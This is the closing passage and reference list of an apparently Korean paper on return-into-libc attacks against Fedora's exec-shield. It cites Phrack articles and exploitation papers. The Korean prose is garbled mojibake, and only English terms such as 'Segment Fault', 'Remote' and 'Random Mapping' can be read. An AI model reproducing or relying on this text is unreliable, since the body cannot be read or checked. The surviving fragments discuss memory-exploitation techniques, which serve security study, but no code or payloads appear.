ƯÁ¤ ¿µ¿ª¿¡ write¸¦ ÇÏ´Â ÀÛ¾÷ÀÌ ¼öÇàµÇ´Â ¾î¼Àºí¸®¾î Äڵ尡 ÀÖÀ» ¼öµµ Àִµ¥ ÇØ´ç ¿µ¿ª¿¡ write ¼Ó¼ºÀÌ ÇÒ´çµÇ¾î ÀÖÁö ¾ÊÀ» °æ¿ì¿¡ Segment Fault°¡ ³¯ ¼öµµ ÀÖ´Ù.)

Fedora ¿î¿µÃ¼Á¦¿¡¼­ Remote¸¦ ÇÑ ¹ø¿¡ °ø·«ÇÒ ¼ö ÀÖ´Â ±â¹ý¿¡ ´ëÇؼ­ ¾ÆÁ÷ ¸¹Àº ¿¬±¸¸¦ Çغ¸Áö´Â ¸øÇßÁö¸¸ ÇÁ·Î±×·¥ ½ÇÇà ÇÔ¼ö±º°ú ¶Ç, ´Ù¸¥ Library ¿µ¿ªÀÇ ¾î¼Àºí¸®¾î ÄÚµåµéÀ» ÀÌ¿ëÇÑ´Ù¸é °¡´É¼ºÀº ¾ó¸¶µçÁö Á¸ÀçÇÒ¼ö ÀÖ´Ù°í »ý°¢ÇÑ´Ù.

¶ÇÇÑ º» ¹®¼­¿¡¼­ ¼³¸íÇÑ °ø°Ý ¹æ¹ý¿¡¼­ LibraryÀÇ Random Mapping¿¡ °üÇÑ »óȲÀº ¿°µÎÇصÎÁö ¾Ê¾Ò´Ù. Å×½ºÆ® °á°ú RandomÇÏ°Ô MappingµÇ´Â ¿µ¿ªÀº ´Ü 2 °¡Áö ¿µ¿ª ¹Û¿¡ ¾ø¾ú°í, MappingµÇ´Â ¿µ¿ªµµ ÁÖ·Î ÇÑ ±ºµ¥¿¡ ´õ ¸¹ÀÌ ÆíÁß µÇ¾îÀÖ¾ú±â ¶§¹®¿¡ Mapping µÇ´Â ¿µ¿ªÀÌ ÇÑ°¡Áö¶ó°í °¡Á¤ÇÏ°í Å×½ºÆ®¸¦ ÇÏ¿´´Ù. ±×·¯³ª º¸´Ù È®½ÇÇÑ ¿¬±¸°¡ ¿ä±¸µÈ´Ù.

 

 

 

 

 

5. Âü°í ¹®Çå & »çÀÌÆ®

(1) Smashing The Stack For Fun And Profit -Aleph1-
URL - http://phrack.org/phrack/49/P49-14

(2) Advanced return-into-lib(c) exploits -nergal-
URL - http://phrack.org/show.php?p=58&a=4

(3) Á¦3ȸ HackerSchool Hacking ´ëȸ ´ëȸ º¸°í¼­ -loafers-
URL - http://event.hackerschool.org/lecture/event_lecture_03/loafers.html

(4) Return-into-libc Test -Vangelis-
URL - http://neworder.box.sk/newsread.php?newsid=11535

(5) Omega Project -lamagra-
URL - http://packetstormsecurity.com/papers/unix/omega.txt

(6) Fedora web site
URL - http://fedora.redhat.com

(7) exec-shield WEB SITE
URL - http://people.redhat.com/mingo/exec-shield/